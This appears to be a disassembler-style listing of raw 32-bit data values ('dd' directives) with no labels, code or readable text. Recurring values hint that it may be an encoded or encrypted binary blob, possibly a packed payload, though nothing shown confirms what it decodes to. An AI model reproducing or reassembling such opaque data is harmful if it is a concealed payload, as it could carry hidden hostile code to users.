		dd 0BCDC2DA9h, 94B9743Dh, 8E9405EFh, 44339969h,	9CA1566h
		dd 0B70354E3h, 97B71A60h, 4B321566h, 22320CEBh,	1126FC66h
		dd 449C1566h, 2040DB4Fh, 2AD3DCECh, 3DAFBB88h, 245ED4E6h
		dd 850952F6h, 22469369h, 1DDB1566h, 76321566h, 5709EB93h
		dd 608C9658h, 9A91B241h, 2E3A34E3h, 0C131E060h,	24942427h
		dd 1132078Fh, 90653A66h, 9D141AFCh, 65472DBAh, 4B5DEE82h
		dd 10C46D2h, 0E23780E3h, 32DA7560h, 0E321566h, 0C742650Dh
		dd 817DF252h, 612EB1A5h, 0ED2B8B9Ah, 3754453Dh,	25694900h
		dd 2233808Fh, 113DFC66h, 5C241566h, 0D236AE54h,	0B883E96Ah
		dd 0E9066798h, 162ED40h, 44361086h, 0CAB11566h,	35369262h
		dd 0AC3E9C3Ah, 5C887306h, 3BBA1ABAh, 0F8321566h, 88321572h
		dd 3BCC44D9h, 80F2F387h, 8E9048C2h, 0C0313A4Fh,	798DAE0Dh
		dd 26B94407h, 15F69442h, 61321566h, 44321561h, 7FAB652Ch
		dd 464B55E3h, 42767ED9h, 0B1D59401h, 0E3226833h, 0FEF31281h
		dd 97D5261h, 0F389B5A1h, 7DCA3C99h, 0F884793h, 494C6B1Ch
		dd 0B3781384h, 5DC094B4h, 18527411h, 0C3D4FB6h,	44321567h
		dd 26CD459Ah, 35369E42h, 6136D1E5h, 4432156Dh, 96DAE4B5h
		dd 0EEF1334Fh, 1F3678Bh, 0E2229CE3h, 97887560h,	700AB903h
		dd 0A4239067h, 0C45213C0h, 0FCB9E38Fh, 50B7D207h, 8834B357h
		dd 0B8321566h, 0CA52550Ch, 11321560h, 74B3DD96h, 4DDB9332h
		dd 0A8321566h, 0ECD24EDFh, 9C9487E2h, 0BC53ED3Dh, 2222150Eh
		dd 19B01A66h, 87321566h, 443217E4h, 4A537566h, 11326678h
		dd 711619EFh, 0CF3D150Ch, 2232156Ah, 11349C69h,	0C3D1566h
		dd 44321566h, 9A38099h,	0EECA13C0h, 2E060CF3h, 53B61A60h
		dd 42321566h, 0F863C3E6h, 8832156Bh, 0AEC6AF64h, 0F8146B22h
		dd 48006702h, 0DBB74F0h, 42941D47h, 223A9969h, 943D1566h
		dd 88321564h, 0CDC77406h, 843780E3h, 9D3D7560h,	88321560h
		dd 44329569h, 0A9531566h, 9863316Ah, 8CF39487h,	0C5321566h
		dd 223211A7h, 353E9266h, 3DCDE03Ah, 429410F3h, 2234FC06h
		dd 92841566h, 0F2454310h, 25FAAA69h, 2DCBA099h,	425213C0h
		dd 62585ADEh, 55DB4D4Fh, 2F321566h, 0C61C1CDDh,	40654A39h
		dd 8687D718h, 241A481Ch, 9E3D7507h, 88321564h, 698C4C34h
		dd 433797CCh, 1143D30Eh, 0AC0E9C66h, 44339769h,	0DDCB1566h
		dd 0B737B4D3h, 883CFC60h, 21D11566h, 0D1F288DCh, 8DBC46A2h
		dd 0C34CF63Ah, 825490EBh, 0A93D13CAh, 1132156Eh, 88B11A06h
		dd 25321566h, 0A852C599h, 1BD695AEh, 0C9BF1407h, 2434B357h
		dd 2DE2A269h, 113210ECh, 58B37366h, 0CF53B01Ah,	843780DBh
		dd 9AC7E060h, 2E3DECD3h, 0C5547560h, 0A93B66B4h, 0B5C174A9h
		dd 65879E9Eh, 4B34B349h, 22321AEFh, 1138FC66h, 34D41566h
		dd 913938AEh, 5ABBAEEBh, 0AC67E0CBh, 0C7483EC0h, 143AF8A7h
		dd 92B7C0DEh, 49F71499h, 0D5CE7BEFh, 44339569h,	0CBCA1566h
		dd 1132156Bh, 0E0FD4338h, 2DCA18C5h, 663B749Ch,	14F2D431h
		dd 88209669h, 4B521566h, 223215E7h, 1137FC66h, 0ED031566h
		dd 25366276h, 2236F9E7h, 3DBB1566h, 0F033A842h,	81B324FFh
		dd 33804FF5h, 1E6FFD67h, 883212E8h, 25527566h, 4336FBE6h
		dd 0BA79065h, 3CA13C0h,	0E23780EBh, 2222FC60h, 0DD261566h
		dd 90C568C9h, 30BEF15Ch, 0A44224E3h, 4763DE68h,	420FA4D8h
		dd 60461467h, 22BD4B62h, 2C833DE7h, 0D85214ACh,	44321E8Fh
		dd 9BEDD666h, 9893C640h, 0AA03F2B0h, 22527439h,	423D27DEh
		dd 9E3DC1ECh, 88321566h, 0AD9F7407h, 22321575h,	0CB61859Eh
		dd 0AC127369h, 0C0EBAB0Eh, 5D39B58h, 0F86A5BBAh, 88321563h
		dd 321AF88Bh, 0DE8946FBh, 10CDEA99h, 8831D295h,	0CF321566h
		dd 0E6B1317Ah, 1120FC62h
		dd 49551566h, 4A5623EFh, 0E4E8AD9Fh, 0FB3BBA5Eh, 0FBE36DE1h
		dd 6BDFA0EFh, 0A1C713C0h, 943DEA9Eh, 88321513h,	998B7306h
		dd 43EC9F5Ah, 0CCEF2BE7h, 0D3DC8BBh, 44321507h,	0A23D4306h
		dd 11321566h, 8838FC3Fh, 345E1566h, 77E66AEDh, 8744D629h
		dd 888A4507h, 0CD321566h, 6369E60h, 1136D1E7h, 0D9CA1566h
		dd 4432110Eh, 0EC334C66h, 16B81A3Fh, 87321566h,	443214EDh
		dd 97BBE966h, 17943A8Bh, 3254E006h, 0AD533097h,	0DDCDC1E2h
		dd 0E08D1A06h, 88309669h, 25521566h, 21F2D407h,	11289D69h
		dd 93D1566h, 44321572h,	22321A8Fh, 0D0679B66h, 8D9A489h
		dd 63BF9C30h, 0C8F8035Eh, 0BA79065h, 87CA13C0h,	443202EAh
		dd 2220FC66h, 1CBA1566h, 9DFB3319h, 9857209Fh, 36E306E2h
		dd 0A4DA9D04h, 0BA3BA8E5h, 4B3313C0h, 223653E2h, 90CEE066h
		dd 2298BF58h, 0A1B71ACCh, 2D321566h, 11320CEBh,	86DA7566h
		dd 98321566h, 0C675605Eh, 0A5687A9Dh, 9FF12B35h, 0CF544A42h
		dd 24DB74A0h, 0AD321566h, 8C10DCCBh, 40DE9639h,	991609EFh
		dd 11321562h, 8769CB67h, 443219E9h, 2235FC66h, 0BBA51566h
		dd 1FC774C8h, 0A5A46A1h, 79356F40h, 0B08A452Dh,	0B95AB068h
		dd 0B7B34DA5h, 4FE407A2h, 2B1AE6E7h, 0D6BB176Fh, 0FE524E9Ah
		dd 12AF9F02h, 9A654507h, 4CB33162h, 44321562h, 2CB91A39h
		dd 0F8321566h, 8832156Fh, 0C1FBA3C1h, 0B86E3052h, 6A87445Dh
		dd 4DCCD898h, 177AD0E6h, 0C1F290D5h, 0EFF9EB63h, 8F9EBA5h
		dd 991A2EA5h, 7BDA9D3Dh, 11209E69h, 85DB1566h, 4E321566h
		dd 760255E0h, 5FB0EB4Ch, 0F197E400h, 44359F69h,	0A03D1566h
		dd 11321567h, 887AFC93h, 24CB1566h, 0DE89E2ECh,	7016D036h
		dd 36A4236h, 80B1315Ah,	23BB1A62h, 0E9321566h, 88321E8Fh
		dd 0E3B10866h, 1EFEA6A9h, 47CDB359h, 8836F9E7h,	50BB1566h
		dd 9255A742h, 4BE225E9h, 88359869h, 0C23D1566h,	22321567h
		dd 9867E99Eh, 8CF79483h, 0C7321566h, 0EB5118Bh,	15BB4942h
		dd 7DB27542h, 46B01A42h, 70321566h, 0ACB1743Eh,	8E9426B7h
		dd 0E5B61A67h, 0CB321567h, 11321563h, 2A6FB1C4h, 0FB65E9F9h
		dd 22321466h, 2DB9EDEFh, 8CF69442h, 24321566h, 2232078Fh
		dd 0B96DDF66h, 894959ACh, 0ED928A05h, 17D51F0Dh, 0AEAC1B65h
		dd 0A713D813h, 3B8F9607h, 2234B8C7h, 11559169h,	7D521566h
		dd 4432198Fh, 0B1672566h, 7595C780h, 0C214BB0Fh, 0D9BF74AAh
		dd 249ECF2Dh, 8F897306h, 5E851AF0h, 56BA1A07h, 0CB321566h
		dd 1132156Bh, 3156A2FEh, 39BF1CBh, 14EBE54Eh, 1EE1EAD2h
		dd 883212E4h, 45BB1A66h, 0DA321566h, 0C3B37306h, 99DB9D43h
		dd 50321566h, 0F5ABDF89h, 79CAC306h, 1A9FF254h,	0B639C173h
		dd 0B20D9507h, 11699169h, 87DB1566h, 0B5321566h, 944A4307h
		dd 1B4C5532h, 0A8872DFAh, 0A8B182BBh, 6069C62h,	113210D8h
		dd 0D6C51466h, 442B9069h, 36DB1566h, 0EB321566h, 0CA433A41h
		dd 0E763BF76h, 0A66FAB62h, 1EB70714h, 619B7B3Dh, 4432148Dh
		dd 223AFC06h, 0DB4B1566h, 3E305985h, 0F7520AD8h, 4353754Dh
		dd 41CA9607h, 88B49769h, 50DB1566h, 0A2321566h,	4A6B74CCh
		dd 1F9ED4A6h, 25F39A52h, 8F741320h, 710EAD5Dh, 0AD43AE00h
		dd 0F163749Eh, 0CDBA46F6h, 4869EDEEh, 883AFD06h, 0DF21566h
		dd 748C3A08h, 9054DA09h, 0D2D69687h, 0CC3DBF07h, 22321567h
		dd 35369E9Fh, 8DD29C36h, 44321562h, 0A536D5E5h,	716E3162h
		dd 88BE1A06h, 0C5321566h, 0AE49F8B6h, 0BB53747Dh, 88229769h
		dd 0C03D1566h, 2232156Ch, 1132108Fh, 0FCD44866h, 0A3DBCB01h
		dd 0DE321566h, 461611EDh, 4FB3F2EFh, 44321562h,	2236D2E7h
		dd 2DB51566h, 9BDB4942h, 4C321566h, 0C36158E3h,	13C31814h
		dd 2393B0CFh, 0E78B978Dh, 2D984CCAh, 113205E6h,	8839FC66h
		dd 60AE1566h, 28B6A0D2h, 0F922A5BCh, 774D958Bh,	0D3B71A8Fh
		dd 0CB321566h, 1132156Ch, 0B74215F8h, 0AABD2E2Ch, 0A83D096Dh
		dd 11321575h, 88321B8Fh, 5A2B0066h, 1FE137B8h, 0E18327FCh
		dd 0B9E5B2Eh, 0E9936ADBh, 0A63D1560h, 11321550h, 88349F69h
		dd 0CE521566h, 43537596h, 0C86788EBh, 0DB5213CAh, 44329569h
		dd 0DB6B1566h, 0C2CDED07h, 883BFC06h, 55211566h, 0F0E086A7h
		dd 90D2189Dh, 42EE01A7h, 0FF617443h, 22321562h,	7B3FD6E7h
		dd 73337431h, 2E3FFEE7h, 21BA7431h, 1122FC3Dh, 4A11566h
		dd 60FC1613h, 8615AC68h, 14ADBB26h, 0DB9E4BFh, 429410F3h
		dd 8B884793h, 53262B78h, 9ADAFFE7h, 9433BCDBh, 0FCA3C3Ch
		dd 7BB31EA4h, 88321F8Fh, 6A2EF466h, 7B2DBCAAh, 472AF49Fh
		dd 883211D8h, 1EA83866h, 0D21B32F9h, 8E688F63h,	9ADB4B41h
		dd 0DD321566h, 0D76A8256h, 14EA7B4Eh, 3CA74ECAh, 1581D7A2h
		dd 0A252BE6Ch, 9B61C4B6h, 25534AA8h, 44339C69h,	77CE1566h
		dd 0A472ED0Eh, 4DB34875h, 237F6D43h, 3CDF9423h,	984917DFh
		dd 0E86FE908h, 0F2C09E00h, 97DB74F5h, 0EDCDEA9Ch, 0A7DFA0EFh
		dd 0C43D13C0h, 22321567h, 1DA17D9Ah, 9CBB1566h,	445AEC42h
		dd 0CB3215E6h, 1132156Eh, 89FA65D5h, 0BA6161D4h, 2FDB150Ch
		dd 10321566h, 0A8359524h, 99E32F59h, 9CB36F78h,	59BA099h
		dd 53D13C0h, 4432157Eh,	2232068Fh, 620C9666h, 132153F2h
		dd 0FD453E6Dh, 8157D7A8h, 2CE041DEh, 0A5B78099h, 43DB13C0h
		dd 9D321566h, 0E2A8313Ch, 9BDBCAE0h, 0C8321566h, 96654E20h
		dd 0A250D4F8h, 0BE7ADD97h, 0CFC29FB3h, 16CDF099h, 0D5B34F42h
		dd 88321562h, 44339969h, 0A9CE1566h, 0B7338CEBh, 85DB7560h
		dd 0AD321566h, 10025BE2h, 64217D79h, 6D0C8846h,	0B14EAC00h
		dd 26DE9607h, 0A91611EFh, 0D5114815h, 194114A1h, 23034845h
		dd 7752753Eh, 0EDFEDAE7h, 0AD53DFEDh, 2232156Eh, 7EEBBE39h
		dd 0C2E9296Eh, 0B2894607h, 6124DB17h, 0FAB3CE91h, 85F31F4Fh
		dd 0C536FEA7h, 560AFAADh, 0EAC1946Bh, 893FE25Eh, 0C33D4EBFh
		dd 22321567h, 88BF9C9Eh, 0E834B367h, 0D7FA4BDCh, 0CB53ED3Dh
		dd 0EECDD380h, 883A9169h, 0C13D1566h, 22321564h, 0F8527406h
		dd 8832156Bh, 0B6B14726h, 27743BD0h, 0AA0D32ACh, 0F2E5AB35h
		dd 0AD5300FDh, 22323D83h, 1132018Fh, 80ABC066h,	96538050h
		dd 0F391D90Eh, 6C525162h, 0FA18F594h, 55DB752Eh, 0B321566h
		dd 3B00E888h, 255323CAh, 0BC630FAh, 296D360Eh, 10AB98EDh
		dd 77CB13C0h, 618D4257h, 230EAB57h, 4E36311Ah, 0ADDB943Fh
		dd 0AD0EAB57h, 2232156Eh, 5DD83919h, 26CAF97Dh,	0E54998EFh
		dd 0CB5213CBh, 11321574h, 76646A9Bh, 3A125570h,	96B5238Ch
		dd 0FAD57528h, 82DB7448h, 0D3321566h, 0E2D23D71h, 400604BAh
		dd 0B0B37463h, 8764128h, 22B69069h, 993D1566h, 88321563h
		dd 0C9EE9506h, 5AB37307h, 1E1C5962h, 883278E3h,	443EFC66h
		dd 6E791566h, 8964D4ECh, 276B48E3h, 1363D486h, 0DBBBD2EFh
		dd 48FC9C39h, 88349A69h, 0BC521566h, 43EC9E00h,	15DE969Ah
		dd 371629EFh, 44321560h, 426DEB67h, 436D4606h, 0E9CE743Fh
		dd 4432188Fh, 0B668DA66h, 78B81149h, 5A912222h,	0C1B96624h
		dd 2494271Fh, 5CE29506h, 0F0E99400h, 4DDB74F0h,	42321563h
		dd 7DF19400h, 64B37495h, 44321562h, 0AB1639EFh,	4CDC9CA3h
		dd 88321D8Fh, 71998E66h, 3EE5B089h, 9865E022h, 3C89CA1h
		dd 80B3315Ah, 22321562h, 0A91EA306h, 893C86D2h,	4BFB2407h
		dd 223211E4h, 0CFB97566h
		dd 7D9EE907h, 0C03D155Ah, 223214CBh, 11279269h,	0E3D1566h
		dd 44321569h, 22321F8Fh, 0DC4D2F66h, 0C13E300h,	78749620h
		dd 0F1B61A4Bh, 71CDEA99h, 85220D4h, 255351BCh, 223E9B69h
		dd 913D1566h, 88321560h, 44329569h, 0C0E1566h, 118C9169h
		dd 33D1566h, 44321560h,	0A96B4206h, 210E749Ch, 8D189769h
		dd 0CA3D1566h, 22321567h, 1E0B299Eh, 77CD98E0h,	94B27599h
		dd 29BC1A75h, 0F8321566h, 88321560h, 84182B6Eh,	1E5373A0h
		dd 0ECB01A27h, 61321562h, 4432156Eh, 0BD83AE73h, 8EE71848h
		dd 0E3D4F5Ah, 0BBCDEA3Ch, 2232108Fh, 887B7066h,	0D70E0AB2h
		dd 0BB7A9169h, 7252EA99h, 4FA8C0E6h, 87532907h,	4436D2E4h
		dd 0AB3DE066h, 1132157Ch, 88269869h, 4BDB1566h,	55321566h
		dd 0D0E85098h, 6C0F18E0h, 0D95B001Fh, 580E66EBh, 0EE229369h
		dd 61CAEA99h, 443211FEh, 22209769h, 1CDB1566h, 8D321566h
		dd 90ECED9Ah, 0F1D50D5Ch, 1D9D6076h, 8833AE35h,	9E331566h
		dd 32DB753Dh, 0E3321566h, 0DD3FBBB8h, 5CF2228h,	6B10B950h
		dd 0ED83261Eh, 87C02C07h, 443642E2h, 223FFC66h,	0D2A71566h
		dd 0ECE5A892h, 34F6E7BFh, 0A39D5C55h, 1132118Ah, 0AC269C66h
		dd 1E161999h, 22321C8Fh, 0E23AB966h, 3181E6Ah, 13C795AFh
		dd 0CD29F5D9h, 13D5D41Fh, 0AF27E2E7h, 0ABB33491h, 0E4795DF2h
		dd 716DEC67h, 52E49400h, 4422FC9Eh, 3FCF1566h, 0E4F4340Eh
		dd 4A16EB0h, 60FC1613h,	2D53AC68h, 113214EBh, 0D3DBE066h
		dd 0B8CDEA98h, 2232198Fh, 15B44366h, 95495D95h,	0A888DF20h
		dd 2DFB90EFh, 1131DAE2h, 89B61A66h, 0BD321566h,	2BE7A0EBh
		dd 47CE13C0h, 79BB4B34h, 8AB37538h, 36D79973h, 94D39435h
		dd 0D3556C4Ch, 70B34707h, 13512E42h, 350E9E5Ah,	8836D1E7h
		dd 0B3B31566h, 1E03765Dh, 11321A8Fh, 3C85FD66h,	94322B58h
		dd 0F0D3A634h, 74ED8A8Eh, 0A6814600h, 0CCEB9D37h, 79544CAEh
		dd 11359569h, 3D1566h, 44321567h, 0DF47BB9Eh, 1AB71A93h
		dd 61321566h, 44321560h, 0A557B97h, 0AA61F6F6h,	9B921E32h
		dd 0B340D6E7h, 0FB330ABCh, 90CB3C3Dh, 0F330D38Fh, 0FF547555h
		dd 6B534F4Eh, 3526E237h, 67B3EC3Fh, 72F342A8h, 9860DA4Fh
		dd 92B7013h, 0A6F89424h, 0C5049613h, 0B15701A4h, 16D0D44Dh
		dd 945DF7E7h, 86B3652Fh, 44A5AA8h, 7168C267h, 6153EC9Eh
		dd 4432156Fh, 10E91148h, 4E6E4DEEh, 0B9C5242Ch,	24C52498h
		dd 0B3AFC4E7h, 0AF54013Dh, 7B537FBDh, 0F260E0C2h, 24DCD536h
		dd 91B3E3E6h, 7EB2F6A0h, 0BB459D05h, 0A11601EDh, 9A5211A2h
		dd 968C73B6h, 0C9CE74FFh, 843BC0F3h, 4B61A60h, 61321566h
		dd 44321576h, 0C6AE63FFh, 88918198h, 0A99E1EB8h, 0ED9E4604h
		dd 114B90EDh, 9F3D13C0h, 88321568h, 44B71A06h, 2D321566h
		dd 113215E0h, 48B77466h, 44AF9069h, 70521566h, 7169F9ECh
		dd 9BDBC0ECh, 2C321566h, 67ABDD1Eh, 0ECC33B9Dh,	90A192CDh
		dd 70104C80h, 4353624Eh, 1D1B90A0h, 707513C0h, 57DBEC06h
		dd 4A321566h, 8BABC2FEh, 354AF630h, 2F69AFD5h, 0B3A6E1AAh
		dd 795387E8h, 5CA8B2B4h, 443E9869h, 0AF3D1566h,	11321560h
		dd 88329169h, 0F1CD1566h, 24941C7Fh, 1132078Fh,	0DC3AE266h
		dd 0FDC25D04h, 74D53047h, 0EC849610h, 50C4C6Ch,	0ED4335E3h
		dd 2222FC60h, 1F2A1566h, 8724F203h, 2BCCD404h, 0E773DF41h
		dd 0C1CD14A3h, 88339169h, 16C71566h, 0E0B3F7EFh, 11321562h
		dd 0F36FFE5h, 0CD6E3172h, 0A13D3172h, 11321567h, 70E2EA93h
		dd 0C13DD5E3h, 2232158Eh, 0E7B37306h, 65810321h, 0C1B9E907h
		dd 2494279Bh, 6BC1A9Eh,	61321566h, 44321574h, 0DC9B38C0h
		dd 9F1B99E1h, 15AD637Ch, 0E6334D75h, 0E2B7FF7Dh, 116F9069h
		dd 8EDB1566h, 53321566h, 0A4935324h, 0C9B3758Bh, 0C3B9307Fh
		dd 0C1F47493h, 2494194Fh, 0F85AEC2Ah, 87EBCF7Ah, 443214E1h
		dd 0A93DE066h, 11321567h, 9187EA9Eh, 2434B36Fh,	7C537535h
		dd 31B79807h, 8734BC17h, 44321FE0h, 2237FC66h, 0A41E1566h
		dd 77D6306Ah, 0F8475B6h, 0EE887335h, 79534D0Ah,	88322DC0h
		dd 0B11601EFh, 31DBC599h, 0EF321566h, 3F052D18h, 866D716Bh
		dd 11EE0FEAh, 56BB5513h, 48B75BAEh, 44189069h, 0AB3D1566h
		dd 1132156Ah, 88349069h, 0C13D1566h, 22321566h,	1132CA8Fh
		dd 883CFC66h, 51401566h, 7A36A052h, 2278B2FEh, 0E874B66Dh
		dd 0E54990EFh, 0CB5213CBh, 11321563h, 0DAB72220h, 3B09AA70h
		dd 0DB537226h, 90D09C34h, 883211A4h, 40D89466h,	0A5321566h
		dd 986E3172h, 73D3162h,	44321567h, 66FF7D93h, 25BB1566h
		dd 9DB71A42h, 4B321566h, 22321AE7h, 1138FC66h, 2C31566h
		dd 3B44AF92h, 0AB37DA4Fh, 835090EBh, 0E3D13CFh,	44321567h
		dd 37BD1A9Fh, 0F8321566h, 88321576h, 15B152BCh,	925234DCh
		dd 46552600h, 0C7C10C86h, 0CC3DC599h, 2232156Eh, 11309369h
		dd 0E9521566h, 0C13DD56Dh, 2232157Dh, 11339569h, 61CE1566h
		dd 4432154Eh, 22321F8Fh, 5029566h, 81F4B855h, 0CDE70E25h
		dd 0CB2E3122h, 11321576h, 0D01D2D20h, 0B9D5B3Bh, 0DD24421Bh
		dd 0C011120h, 0E9CE7507h, 8AB97306h, 22321E8Fh,	2DCAEF66h
		dd 472B51CDh, 0DDDFD113h, 32DBD607h, 5E321566h,	121AF48Fh
		dd 0B46BE159h, 0BA665B46h, 71EDDA45h, 88259469h, 56DB1566h
		dd 0AC321566h, 0F728CB60h, 57C057ADh, 0F04924B8h, 90248B4h
		dd 113CFC7Ch, 12201566h, 0CA4E81F7h, 6F3F83F1h,	0ACDB76ADh
		dd 294998EDh, 0CB3D13CBh, 2232157Fh, 11219769h,	86DB1566h
		dd 6E321566h, 0B8A7CC07h, 1912CF7Ch, 0D63CD681h, 443BFC3Ah
		dd 0F2851566h, 0B3E5AE65h, 0E05A2687h, 44324EFFh, 0CB1611EFh
		dd 11321563h, 981AF2A1h, 443FFC56h, 72A51566h, 0F40B7A16h
		dd 74B6323Fh, 11F4D72Fh, 7A67D8EFh, 113AFC3Bh, 0F74E1566h
		dd 0D63839F9h, 0CEB3CA9Ah, 11321562h, 321601EFh, 4432155Ah
		dd 2031D767h, 113CFC3Ch, 81411566h, 1B4790h, 9EE61D11h
		dd 92F9B830h, 88BAAE35h, 87331566h, 3EB906EDh, 15F69642h
		dd 35A79C9Eh, 0B834B343h, 222E4D0Eh, 353E9C66h,	8832EDDFh
		dd 1DFA1466h, 2E42EA9Eh, 1DDB753Ch, 0E1321566h,	0CC9C2699h
		dd 82D743A2h, 77DAC619h, 0E9B586DDh, 5D2B80EFh,	0DDCA13C0h
		dd 906A3152h, 883211A2h, 0BB537566h, 0A9163112h, 0D5B33162h
		dd 88321562h, 84E09406h, 73015A21h, 1132078Fh, 80A43D66h
		dd 6EC5EA6Bh, 58DDD159h, 8AA8A99Eh, 0D61FF876h,	443FFC07h
		dd 190E1566h, 8917EDEFh, 0F3FE158Ch, 418EB8E7h,	6ED21F91h
		dd 0DF0E5563h, 0A5FA3C09h, 2BFC2926h, 0C238E24Bh, 10B31A2Ah
		dd 74321566h, 5D2B905Dh, 0A03D13C0h, 1132152Dh,	8832198Fh
		dd 0CB4FA266h, 0FAC10116h, 0FF79576h, 89B31AB4h, 0B1321566h
		dd 78F905Dh, 923D13C0h,	88321541h, 57DBED06h, 51321566h
		dd 0A3FB0842h, 872918AAh, 0C985A2F7h, 0FAB7B073h, 70533104h
		dd 88339A69h, 86CA1566h, 43CB1562h, 3536D29Eh, 9FA53831h
		dd 0BB160991h, 16B33162h, 27AD042h, 0AC1E9478h,	7A1A4EB3h
		dd 3A1611E7h, 90AADE8Fh, 0AF80314Ah, 49DB4479h,	0DE321566h
		dd 90FFA50Bh, 16983269h, 0FF925419h, 22339869h,	0D6C71566h
		dd 0B6363122h, 0C51A2F23h, 436312Ah, 0C03D8F0Dh, 9363102h
		dd 0B736310Ah, 0DD760239h, 4036312Ah, 2AB36DDFh, 607E1482h
		dd 2ADB4C6Eh, 0EE321566h
		dd 5121B9BBh, 2C6CF4E1h, 22321563h, 921611EDh, 0C3D11A2h
		dd 44321561h, 22339069h, 9CCA1566h, 2E7D40EBh, 5CB11A60h
		dd 0CB321566h, 11321575h, 8AC1438Ch, 27D1FAC5h,	0D537D0E7h
		dd 488D22D6h, 7717F63Fh, 0B852ED87h, 0B4E49506h, 4253DDD1h
		dd 883215DDh, 15C11466h, 223215DFh, 9BEB1466h, 70694C67h
		dd 0C03DFC5Ah, 22321474h, 11321F8Fh, 0AB155B66h, 0D58019AAh
		dd 1EF8D19Ah, 29B61A8Eh, 7D321567h, 45B71A06h, 0DE321566h
		dd 0EFE29434h, 0D766E759h, 4B3D2907h, 223221E2h, 0AE3D7566h
		dd 0B453EDB7h, 0C9B61AABh, 2D321567h, 113214E2h, 630EEC66h
		dd 45F19169h, 43C71566h, 113E9869h, 23D1566h, 44321560h
		dd 22329469h, 0D2C71566h, 8988479Fh, 45321566h,	228A4594h
		dd 10321566h, 0D02A9FB6h, 22CA753Ch, 438A69D9h,	0A6614400h
		dd 9ADD95E7h, 0ABF2C290h, 0B4C59565h, 0E6B2D298h, 0D3CB9D13h
		dd 1D54DE46h, 223C9569h, 1E521566h, 883215E2h, 0C3D99466h
		dd 4313BD80h, 1EB2EEE6h, 77CD83E3h, 1767E099h, 0FFBBE6EFh
		dd 4CD99C3Dh, 32544506h, 22698F16h, 946CE3E7h, 312D7D07h
		dd 0A4BB1566h, 4434A842h, 0C9331566h, 555AE93Bh, 1321546h
		dd 468A3162h, 23321566h, 492A1696h, 8832068Fh, 0B2222B66h
		dd 51FD723Dh, 7279A931h, 0C9C7F60Fh, 9426FA98h,	2232A08Fh
		dd 67CDED66h, 0AC1E9467h, 76AD0F4Dh, 0A31609EDh, 113211A2h
		dd 0A3F19466h, 0BD008A7Ch, 2232108Fh, 0D246B766h, 73B17063h
		dd 99B61A9Dh, 0CB321566h, 1132156Dh, 0EDB7A573h, 0CA47D4Ah
		dd 4AC7D6C2h, 11324F9Bh, 91621EFh, 11EC3162h, 0A36907B4h
		dd 0C367CB8Dh, 89B21A74h, 0B1321566h, 2233AF34h, 0E3331566h
		dd 8832AC37h, 95331566h, 786B0C65h, 40EC9E06h, 0E96CEDEDh
		dd 4437AD36h, 0E1331566h, 901611EDh, 883211A2h,	57B31A66h
		dd 42321566h, 0B80BAF00h, 88321D8Fh, 64E3D66h, 95DD828Bh
		dd 9B3D7453h, 88321568h, 44321C8Fh, 1A34C566h, 0C2082409h
		dd 0CDBF513h, 0B8CDEA98h, 236CA369h, 11321A8Fh,	5A4C4D66h
		dd 97462749h, 0BAC863E9h, 0F0261BBFh, 871CFEE5h, 0BBCC77E2h
		dd 3ABF1A99h, 0F8321566h, 88321575h, 45598B98h,	836BA295h
		dd 1C1F9771h, 92BBB34h,	0AD88A1C5h, 2232156Ah, 104C959Fh
		dd 0BCB71A98h, 0B1CDEA98h, 0DDCEEB8Fh, 10BA1A99h, 74321566h
		dd 4477F90Eh, 6069C66h,	11321D8Fh, 0A2099266h, 8D11877Dh
		dd 355AEC6Eh, 9832154Dh, 0C3D316Ah, 44321567h, 0AB65E99Fh
		dd 15F59481h, 9321566h,	44321189h, 60E9266h, 352E9C3Ah
		dd 88229769h, 4FDB1566h, 50321566h, 7A243EBAh, 0DA52269Fh
		dd 1E5A3305h, 0AB32150Fh, 16DB315Ah, 55321566h,	0DC22D57h
		dd 0E203EC58h, 11321E8Fh, 6758A366h, 0FAB25626h, 0E91E1BC7h
		dd 1132198Fh, 0DC2A5466h, 0C9D6494h, 0A703B5F1h, 43C7B98Ah
		dd 0F39D37h, 0B7BA4CA8h, 25B41A3Ch, 1E321566h, 883214EBh
		dd 0F563EC66h, 0EF8245C8h, 916AD446h, 4312898Fh, 4421FC3Fh
		dd 0D7A81566h, 30302C14h, 412EBBEh, 0B6F17E16h,	0B5F8C090h
		dd 61C99554h, 8D6B9169h, 0AD521566h, 2232156Ah,	987B59Dh
		dd 0BF09470Eh, 1322C86h, 43CCA269h, 953D1A5Ah, 883215D9h
		dd 4BDB299Ah, 223873E2h, 1134FC66h, 7E051566h, 7E4ED526h
		dd 22321F8Fh, 8AAE4E66h, 4B06AE64h, 78A15823h, 54B61A8Dh
		dd 0E9321568h, 0C3DF65Ah, 4432163Dh, 0E48D1A06h, 70C39E00h
		dd 0C3DF75Ah, 44321A2Fh, 606EA9Eh, 15F69439h, 87321566h
		dd 443214E7h, 16CDE966h, 0D5B14E42h, 86B91A62h,	24321566h
		dd 2232138Eh, 2D118266h, 0D3F092C2h, 6006EA07h,	26F6943Fh
		dd 0F8321566h, 88321569h, 4F58DFF0h, 78B5F9DEh,	0E3E066BAh
		dd 397C1A9h, 0CD633152h, 26F39487h, 90321566h, 883211A7h
		dd 603E9266h, 23BD1A3Ah, 0E4321566h, 883FFCA5h,	0C4281566h
		dd 0C05F1389h, 64B01A50h, 4FEF7DFFh, 0E9905EE3h, 22321360h
		dd 2B91A66h, 61321566h,	44321568h, 9AFAD4A2h, 1537665h
		dd 54C60195h, 0FE60FCE3h, 22321566h, 0A962E767h, 88321566h
		dd 5CB8C567h, 0AE3D4F3Eh, 1132156Bh, 88321D8Fh,	0E5113F66h
		dd 0E2CDD5DFh, 0E1874463h, 84B9FE46h, 40F69642h, 223E9869h
		dd 9D3D1566h, 88321560h, 44329E69h, 33DB1566h, 0CA321566h
		dd 9E4175FCh, 3F26AD85h, 0CEAFFB6Fh, 7D84D55Ch,	87B2EEE6h
		dd 0BBCD15E3h, 9F67E999h, 11321567h, 876FFB4Fh,	443214E0h
		dd 0A7B9ED66h, 1794030Fh, 88321B8Fh, 15998266h,	0D1FB1D4h
		dd 9A5AF2E1h, 37618F1h,	0E236A4F3h, 0C65AEC60h,	98321549h
		dd 7ABB3172h, 0AD68C6EFh, 2232156Fh, 854FEFFBh,	0EF20411Eh
		dd 40DE94FAh, 0AB321566h, 178A3162h, 89321566h,	16CB4DA5h
		dd 223217DCh, 25D89466h, 8973C556h, 70F09494h, 2173C556h
		dd 913D4F7Ch, 8832156Ah, 44349469h, 0AF3D1566h,	11321566h
		dd 8826FC06h, 79511566h, 0E4D7B10Ch, 29491097h,	2855236Ch
		dd 0CE5EE207h, 0A3549E87h, 70B65BA6h, 0A3DCD5Dh, 44321555h
